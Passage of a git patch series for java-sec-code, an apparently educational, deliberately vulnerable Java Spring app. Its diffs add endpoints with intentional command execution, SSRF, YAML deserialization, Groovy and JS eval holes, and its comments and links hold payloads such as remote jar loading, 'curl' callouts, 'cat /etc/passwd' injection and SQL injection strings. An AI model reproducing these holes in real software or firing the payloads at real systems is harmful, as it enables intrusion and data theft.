+        response.setHeader("Access-Control-Allow-Credentials", "true");  // allow cookie
         return info;
     }
 
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
index 96061579..2ab0dcef 100644
--- a/src/main/java/org/joychou/controller/Jsonp.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -3,9 +3,14 @@
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 
+import com.alibaba.fastjson.JSONPObject;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang.StringUtils;
 import org.joychou.security.SecurityUtil;
 import org.joychou.util.LoginUtils;
+import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.http.MediaType;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
 import org.springframework.security.web.csrf.CsrfToken;
 import org.springframework.web.bind.annotation.*;
 import org.springframework.web.servlet.ModelAndView;
@@ -14,6 +19,7 @@
 import org.joychou.util.WebUtils;
 
 import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
 import java.security.Principal;
 
 
@@ -22,12 +28,15 @@
  * https://github.com/JoyChou93/java-sec-code/wiki/JSONP
  */
 
+@Slf4j
 @RestController
 @RequestMapping("/jsonp")
 public class Jsonp {
 
     private String callback = WebConfig.getBusinessCallback();
 
+    @Autowired
+    CookieCsrfTokenRepository cookieCsrfTokenRepository;
     /**
      * Set the response content-type to application/javascript.
      * <p>
@@ -57,7 +66,7 @@ public String emptyReferer(HttpServletRequest request) {
     }
 
     /**
-     * Adding callback or cback on parameter can automatically return jsonp data.
+     * Adding callback or _callback on parameter can automatically return jsonp data.
      * http://localhost:8080/jsonp/object2jsonp?callback=test
      * http://localhost:8080/jsonp/object2jsonp?_callback=test
      *
@@ -101,11 +110,33 @@ public String safecode(HttpServletRequest request) {
         return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
     }
 
-
+    /**
+     * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
+     *
+     * object to jsonp
+     */
     @GetMapping("/getToken")
-    public CsrfToken getCsrfToken(CsrfToken token) {
+    public CsrfToken getCsrfToken1(CsrfToken token) {
         return token;
     }
 
+    /**
+     * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
+     *
+     * fastjsonp to jsonp
+     */
+    @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
+    public String getCsrfToken2(HttpServletRequest request) {
+        CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
+
+        String callback = request.getParameter("fastjsonpCallback");
+        if (StringUtils.isNotBlank(callback)) {
+            JSONPObject jsonpObj = new JSONPObject(callback);
+            jsonpObj.addParameter(csrfToken);
+            return jsonpObj.toString();
+        } else {
+            return csrfToken.toString();
+        }
+    }
 
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 9fdf757f..8645fd13 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -27,7 +27,10 @@ public class SSRF {
 
 
     /**
+     * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
+     *
      * The default setting of followRedirects is true.
+     * Protocol: file ftp mailto http https jar netdoc
      * UserAgent is Java/1.8.0_102.
      */
     @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 82163ab2..698f4a7e 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -16,7 +16,7 @@
 public class SpEL {
 
     /**
-     * SPEL to RCE
+     * SpEL to RCE
      * http://localhost:8080/spel/vul/?expression=xxx.
      * xxx is urlencode(exp)
      * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index e6f9b987..35d37576 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -118,13 +118,13 @@ public String url_bypass(String url) throws MalformedURLException {
 
 
     /**
-     * 一级域名白名单 First-level host whitelist.
-     * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
+     * First-level & Multi-level host whitelist.
+     * http://localhost:8080/url/sec?url=http://aa.joychou.org
      */
-    @GetMapping("/sec/endswith")
-    public String sec_endswith(@RequestParam("url") String url) {
+    @GetMapping("/sec")
+    public String sec(@RequestParam("url") String url) {
 
-        String whiteDomainlists[] = {"joychou.org", "joychou.com"};
+        String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
 
         if (!SecurityUtil.isHttp(url)) {
             return "SecurityUtil is not http or https";
@@ -132,42 +132,19 @@ public String sec_endswith(@RequestParam("url") String url) {
 
         String host = SecurityUtil.gethost(url);
 
-        // endsWith .
-        for (String domain : whiteDomainlists) {
-            if (host.endsWith("." + domain)) {
-                return "Good url.";
+        for (String whiteHost: whiteDomainlists){
+            if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
+                return url;
+            } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
+                return url;
             }
         }
 
         return "Bad url.";
     }
 
-    /**
-     * 多级域名白名单 Multi-level host whitelist.
-     * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
-     */
-    @GetMapping("/sec/multi_level_host")
-    public String sec_multi_level_host(@RequestParam("url") String url) {
-        String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
-
-        if (!SecurityUtil.isHttp(url)) {
-            return "SecurityUtil is not http or https";
-        }
-
-        String host = SecurityUtil.gethost(url);
-
-        // equals
-        for (String domain : whiteDomainlists) {
-            if (host.equals(domain)) {
-                return "Good url.";
-            }
-        }
-        return "Bad url.";
-    }
-
 
     /**
-     * 多级域名白名单 Multi-level host whitelist.
      * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
      */
     @GetMapping("/sec/array_indexOf")
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
index da1030e6..30a914f3 100644
--- a/src/main/java/org/joychou/filter/ReferFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -68,7 +68,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
                 logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
                         + "Referer: " + refer);
                 response.setStatus(HttpServletResponse.SC_FORBIDDEN);
-                response.getWriter().write("forbidden");
+                response.getWriter().write(" Referer check error.");
                 response.flushBuffer();
                 return;
             }
diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java
index cbbad17a..6d67825f 100644
--- a/src/main/java/org/joychou/security/CustomCorsProcessor.java
+++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java
@@ -3,12 +3,9 @@
 import org.apache.commons.lang.StringUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
-import org.springframework.util.CollectionUtils;
 import org.springframework.web.cors.CorsConfiguration;
 import org.springframework.web.cors.DefaultCorsProcessor;
 
-import java.util.List;
-
 public class CustomCorsProcessor extends DefaultCorsProcessor {
 
     private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class);
@@ -29,7 +26,7 @@ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
         if (result != null) {
             return result;
         }
-        // List<String> allowedOrigins = config.getAllowedOrigins();
+
         if (StringUtils.isBlank(requestOrigin)) {
             return null;
         }
@@ -39,7 +36,7 @@ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
 
 
     /**
-     * 校验requestOrigin
+     * 自定义校验requestOrigin
      */
     private String customCheckOrigin(String requestOrigin) {
 
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 1f92cfb9..4d2be1a4 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -5,6 +5,7 @@
 import org.apache.commons.httpclient.methods.GetMethod;
 import org.apache.commons.io.IOUtils;
 import org.apache.http.HttpResponse;
+import org.apache.http.client.config.RequestConfig;
 import org.apache.http.client.fluent.Request;
 import org.apache.http.client.methods.HttpGet;
 import org.apache.http.impl.client.CloseableHttpClient;
@@ -70,6 +71,8 @@ public static String httpClient(String url) {
 
             CloseableHttpClient client = HttpClients.createDefault();
             HttpGet httpGet = new HttpGet(url);
+            // set redirect enable false
+            // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
             HttpResponse httpResponse = client.execute(httpGet); // send request
             BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
 
@@ -91,6 +94,7 @@ public static String URLConnection(String url) {
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
             BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
+            // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
             String inputLine;
             StringBuilder html = new StringBuilder();
 
@@ -205,5 +209,4 @@ public static String HttpAsyncClients(String url) {
 
     }
 
-
 }

From bb94a99ac62de94796eb3724708896e7e6d44596 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Thu, 25 Feb 2021 10:18:21 +0800
Subject: [PATCH 22/38] fixes #31

---
 java-sec-code.iml                             |  1 +
 .../org/joychou/controller/FileUpload.java    | 56 +++++++++++--------
 src/main/resources/application.properties     |  8 ++-
 src/main/resources/templates/index.html       |  3 +-
 .../resources/templates/uploadStatus.html     | 10 ++++
 5 files changed, 52 insertions(+), 26 deletions(-)
 create mode 100644 src/main/resources/templates/uploadStatus.html

diff --git a/java-sec-code.iml b/java-sec-code.iml
index 720895cc..59b2063d 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -215,5 +215,6 @@
     <orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-metadata:1.2.0.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: org.mapstruct:mapstruct:1.2.0.Final" level="project" />
     <orderEntry type="library" name="Maven: io.springfox:springfox-swagger-ui:2.9.2" level="project" />
+    <orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.16" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 8b7c7373..00ab7008 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -31,14 +31,17 @@
 public class FileUpload {
 
     // Save the uploaded file to this folder
-    private static String UPLOADED_FOLDER = "/tmp/";
+    private static final String UPLOADED_FOLDER = "/tmp/";
     private final Logger logger = LoggerFactory.getLogger(this.getClass());
+    private static String randomFilePath = "";
 
-    @GetMapping("/")
+    // uplaod any file
+    @GetMapping("/any")
     public String index() {
         return "upload"; // return upload.html page
     }
 
+    // only allow to upload pictures
     @GetMapping("/pic")
     public String uploadPic() {
         return "uploadPic"; // return uploadPic.html page
@@ -64,13 +67,16 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
 
         } catch (IOException e) {
             redirectAttributes.addFlashAttribute("message", "upload failed");
-            e.printStackTrace();
-            return "redirect:/file/status";
+            logger.error(e.toString());
         }
 
         return "redirect:/file/status";
     }
 
+    @GetMapping("/status")
+    public String uploadStatus() {
+        return "uploadStatus";
+    }
 
     // only upload picture
     @PostMapping("/upload/picture")
@@ -83,11 +89,12 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
         String fileName = multifile.getOriginalFilename();
         String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
         String mimeType = multifile.getContentType(); // 获取MIME类型
+        String filePath = UPLOADED_FOLDER + fileName;
         File excelFile = convert(multifile);
 
 
         // 判断文件后缀名是否在白名单内  校验1
-        String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
+        String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
         boolean suffixFlag = false;
         for (String white_suffix : picSuffixList) {
             if (Suffix.toLowerCase().equals(white_suffix)) {
@@ -97,13 +104,13 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
         }
         if (!suffixFlag) {
             logger.error("[-] Suffix error: " + Suffix);
-            deleteFile(excelFile);
+            deleteFile(filePath);
             return "Upload failed. Illeagl picture.";
         }
 
 
         // 判断MIME类型是否在黑名单内 校验2
-        String mimeTypeBlackList[] = {
+        String[] mimeTypeBlackList = {
                 "text/html",
                 "text/javascript",
                 "application/javascript",
@@ -115,17 +122,18 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
             // 用contains是为了防止text/html;charset=UTF-8绕过
             if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
                 logger.error("[-] Mime type error: " + mimeType);
-                deleteFile(excelFile);
+                deleteFile(filePath);
                 return "Upload failed. Illeagl picture.";
             }
         }
 
         // 判断文件内容是否是图片 校验3
         boolean isImageFlag = isImage(excelFile);
+        deleteFile(randomFilePath);
 
         if (!isImageFlag) {
             logger.error("[-] File is not Image");
-            deleteFile(excelFile);
+            deleteFile(filePath);
             return "Upload failed. Illeagl picture.";
         }
 
@@ -137,28 +145,29 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw
             Files.write(path, bytes);
         } catch (IOException e) {
             logger.error(e.toString());
-            deleteFile(excelFile);
+            deleteFile(filePath);
             return "Upload failed";
         }
 
-        deleteFile(excelFile);
         logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
-        logger.info("[+] Successfully uploaded {}{}", UPLOADED_FOLDER, multifile.getOriginalFilename());
-        return "Upload success";
+        logger.info("[+] Successfully uploaded {}", filePath);
+        return String.format("You successfully uploaded '%s'", filePath);
     }
 
-    private void deleteFile(File... files) {
-        for (File file : files) {
-            if (file.exists()) {
-                boolean ret = file.delete();
-                if (ret) {
-                    logger.debug("File delete successfully!");
-                }
+    private void deleteFile(String filePath) {
+        File delFile = new File(filePath);
+        if(delFile.isFile() && delFile.exists()) {
+            if (delFile.delete()) {
+                logger.info("[+] " + filePath + " delete successfully!");
+                return;
             }
         }
+        logger.info(filePath + " delete failed!");
     }
 
     /**
+     * 为了使用ImageIO.read()
+     *
      * 不建议使用transferTo，因为原始的MultipartFile会被覆盖
      * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
      */
@@ -166,8 +175,9 @@ private File convert(MultipartFile multiFile) throws Exception {
         String fileName = multiFile.getOriginalFilename();
         String suffix = fileName.substring(fileName.lastIndexOf("."));
         UUID uuid = Generators.timeBasedGenerator().generate();
-
-        File convFile = new File(UPLOADED_FOLDER + uuid + suffix);
+        randomFilePath = UPLOADED_FOLDER + uuid + suffix;
+        // 随机生成一个同后缀名的文件
+        File convFile = new File(randomFilePath);
         boolean ret = convFile.createNewFile();
         if (!ret) {
             return null;
@@ -183,6 +193,6 @@ private File convert(MultipartFile multiFile) throws Exception {
      */
     private static boolean isImage(File file) throws IOException {
         BufferedImage bi = ImageIO.read(file);
-        return bi == null;
+        return bi != null;
     }
 }
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index c9934946..6f920495 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -7,13 +7,17 @@ mybatis.mapper-locations=classpath:mapper/*.xml
 # mybatis SQL log
 logging.level.org.joychou.mapper=debug
 
-# Spring Boot Actuator Vulnerable Config
+# Spring Boot Actuator Config
 management.security.enabled=false
+endpoints.enabled=false
+
+
 # logging.config=classpath:logback-online.xml
 
 # 业务的callback参数，不支持多个
 joychou.business.callback = callback_
 
+
 ### check referer configuration begins ###
 joychou.security.referer.enabled = false
 joychou.security.referer.host = joychou.org, joychou.com
@@ -38,5 +42,5 @@ joychou.security.jsonp.referer.check.enabled = true
 joychou.security.jsonp.callback = callback, _callback
 ### jsonp configuration ends ###
 
-
+# swagger
 swagger.enable = true
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 72779b8e..9d27f958 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -11,7 +11,8 @@
         <a th:href="@{/swagger-ui.html}">Swagger</a>&nbsp;&nbsp;
         <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
         <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
-        <a th:href="@{/file/pic}">FileUpload</a>&nbsp;&nbsp;
+        <a th:href="@{/file/pic}">Picture Upload</a>&nbsp;&nbsp;
+        <a th:href="@{/file/any}">File Upload</a>&nbsp;&nbsp;
         <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
         <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
         <a th:href="@{sqli/mybatis/vuln01?username=joychou' or '1'='1}">SqlInject</a>&nbsp;&nbsp;
diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html
new file mode 100644
index 00000000..f39fa45c
--- /dev/null
+++ b/src/main/resources/templates/uploadStatus.html
@@ -0,0 +1,10 @@
+<!DOCTYPE html>
+<html lang="en" xmlns:th="http://www.thymeleaf.org">
+<body>
+
+<div th:if="${message}">
+    <h4 th:text="${message}"/>
+</div>
+
+</body>
+</html>
\ No newline at end of file

From 1f9da367f90eba38049fbc3bc510b847fb9f173a Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 26 Mar 2021 17:30:42 +0800
Subject: [PATCH 23/38] add rce

---
 README.md                                     |  7 +-
 README_zh.md                                  |  7 +-
 java-sec-code.iml                             |  5 +-
 pom.xml                                       | 15 ++++
 src/main/java/org/joychou/controller/Rce.java | 88 ++++++++++++++++++-
 5 files changed, 117 insertions(+), 5 deletions(-)

diff --git a/README.md b/README.md
index 56d10960..c52fd3d9 100644
--- a/README.md
+++ b/README.md
@@ -11,7 +11,7 @@ This project can also be called Java vulnerability code.
 
 Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments.
 
-[Online demo](http://118.25.15.216:8080)
+Due to the server expiration, the online demo site had to go offline.
 
 Login username & password:
 
@@ -40,6 +40,11 @@ Sort by letter.
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+  - Runtime
+  - ProcessBuilder
+  - ScriptEngine
+  - Yaml Deserialize  
+  - Groovy
 - [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
 - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
 - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
diff --git a/README_zh.md b/README_zh.md
index 72477885..97693583 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -10,7 +10,7 @@
 
 每个漏洞类型代码默认存在安全漏洞（除非本身不存在漏洞），相关修复代码在注释里。具体可查看每个漏洞代码和注释。
 
-[在线Demo](http://118.25.15.216:8080)
+由于服务器到期，在线的Demo网站已不能使用。
 
 登录用户名密码：
 
@@ -35,6 +35,11 @@ joychou/joychou123
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+    - Runtime
+    - ProcessBuilder  
+    - ScriptEngine
+    - Yaml Deserialize
+    - Groovy
 - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
 - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
 - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 59b2063d..e8317c18 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -41,7 +41,6 @@
     <orderEntry type="library" name="Maven: org.slf4j:jcl-over-slf4j:1.7.22" level="project" />
     <orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.22" level="project" />
     <orderEntry type="library" name="Maven: org.slf4j:log4j-over-slf4j:1.7.22" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.yaml:snakeyaml:1.17" level="project" />
     <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-tomcat:1.5.1.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-core:8.5.11" level="project" />
     <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-el:8.5.11" level="project" />
@@ -216,5 +215,9 @@
     <orderEntry type="library" name="Maven: org.mapstruct:mapstruct:1.2.0.Final" level="project" />
     <orderEntry type="library" name="Maven: io.springfox:springfox-swagger-ui:2.9.2" level="project" />
     <orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.16" level="project" />
+    <orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.21" level="project" />
+    <orderEntry type="library" name="Maven: org.springframework:spring-test:4.3.6.RELEASE" level="project" />
+    <orderEntry type="library" name="Maven: junit:junit:4.12" level="project" />
+    <orderEntry type="library" name="Maven: org.hamcrest:hamcrest-core:1.3" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 6f8f3990..bcb6fc14 100644
--- a/pom.xml
+++ b/pom.xml
@@ -256,6 +256,21 @@
             <scope>provided</scope>
         </dependency>
 
+        <dependency>
+            <groupId>org.yaml</groupId>
+            <artifactId>snakeyaml</artifactId>
+            <version>1.21</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.springframework</groupId>
+            <artifactId>spring-test</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>junit</groupId>
+            <artifactId>junit</artifactId>
+        </dependency>
 
     </dependencies>
 
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index d87b2a7b..6d6a3417 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,13 +1,21 @@
 package org.joychou.controller;
 
+import groovy.lang.GroovyShell;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
+import org.yaml.snakeyaml.Yaml;
+import org.yaml.snakeyaml.constructor.SafeConstructor;
 
+import javax.script.Bindings;
+import javax.script.ScriptContext;
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineManager;
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
 
+
 /**
  * Java code execute
  *
@@ -17,7 +25,7 @@
 @RequestMapping("/rce")
 public class Rce {
 
-    @GetMapping("/exec")
+    @GetMapping("/runtime/exec")
     public String CommandExec(String cmd) {
         Runtime run = Runtime.getRuntime();
         StringBuilder sb = new StringBuilder();
@@ -40,9 +48,85 @@ public String CommandExec(String cmd) {
             inBr.close();
             in.close();
         } catch (Exception e) {
-            return "Except";
+            return e.toString();
+        }
+        return sb.toString();
+    }
+
+
+    /**
+     * http://localhost:8080/rce/ProcessBuilder?cmd=whoami
+     * @param cmd cmd
+     */
+    @GetMapping("/ProcessBuilder")
+    public String processBuilder(String cmd) {
+
+        StringBuilder sb = new StringBuilder();
+
+        try {
+            String[] arrCmd = {"/bin/sh", "-c", cmd};
+            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
+            Process p = processBuilder.start();
+            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
+            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
+            String tmpStr;
+
+            while ((tmpStr = inBr.readLine()) != null) {
+                sb.append(tmpStr);
+            }
+        } catch (Exception e) {
+            return e.toString();
         }
+
         return sb.toString();
     }
+
+
+    /**
+     * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
+     *
+     * curl http://xx.yy/zz.js
+     * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
+     *
+     * @param jsurl js url
+     */
+    @GetMapping("/jscmd")
+    public void jsEngine(String jsurl) throws Exception{
+        // js nashorn javascript ecmascript
+        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
+        Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
+        String cmd = String.format("load(\"%s\")", jsurl);
+        engine.eval(cmd, bindings);
+    }
+
+
+    /**
+     * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
+     * yaml-payload.jar: https://github.com/artsploit/yaml-payload
+     *
+     * @param content payloads
+     */
+    @GetMapping("/vuln/yarm")
+    public void yarm(String content) {
+        Yaml y = new Yaml();
+        y.load(content);
+    }
+
+    @GetMapping("/sec/yarm")
+    public void secYarm(String content) {
+        Yaml y = new Yaml(new SafeConstructor());
+        y.load(content);
+    }
+
+    /**
+     * http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
+     * @param content groovy shell
+     */
+    @GetMapping("groovy")
+    public void groovyshell(String content) {
+        GroovyShell groovyShell = new GroovyShell();
+        groovyShell.evaluate(content);
+    }
+
 }
 

From ed281042e28ba3292c126844ca9df90df39a68b7 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Thu, 31 Mar 2022 15:43:26 +0800
Subject: [PATCH 24/38] add log4j

---
 README.md                                     |  1 +
 README_zh.md                                  |  1 +
 java-sec-code.iml                             |  4 +--
 pom.xml                                       |  9 +++++-
 .../java/org/joychou/controller/Log4j.java    | 29 +++++++++++++++++++
 .../java/org/joychou/controller/SQLI.java     |  2 +-
 .../java/org/joychou/controller/SSRF.java     |  2 +-
 .../java/org/joychou/filter/OriginFilter.java |  1 +
 .../joychou/security/ssrf/SSRFChecker.java    |  4 +--
 src/main/java/org/joychou/util/HttpUtils.java | 13 +++++----
 src/main/resources/application.properties     |  2 +-
 11 files changed, 54 insertions(+), 14 deletions(-)
 create mode 100644 src/main/java/org/joychou/controller/Log4j.java

diff --git a/README.md b/README.md
index c52fd3d9..d4d62134 100644
--- a/README.md
+++ b/README.md
@@ -37,6 +37,7 @@ Sort by letter.
 - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
 - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
 - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java)
+- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
diff --git a/README_zh.md b/README_zh.md
index 97693583..8beb7805 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -32,6 +32,7 @@ joychou/joychou123
 - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
 - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
 - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
+- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
diff --git a/java-sec-code.iml b/java-sec-code.iml
index e8317c18..9f5f1029 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -79,8 +79,8 @@
     <orderEntry type="library" name="Maven: commons-codec:commons-codec:1.10" level="project" />
     <orderEntry type="library" name="Maven: org.apache.httpcomponents:fluent-hc:4.3.6" level="project" />
     <orderEntry type="library" name="Maven: commons-logging:commons-logging:1.1.3" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-core:2.8.2" level="project" />
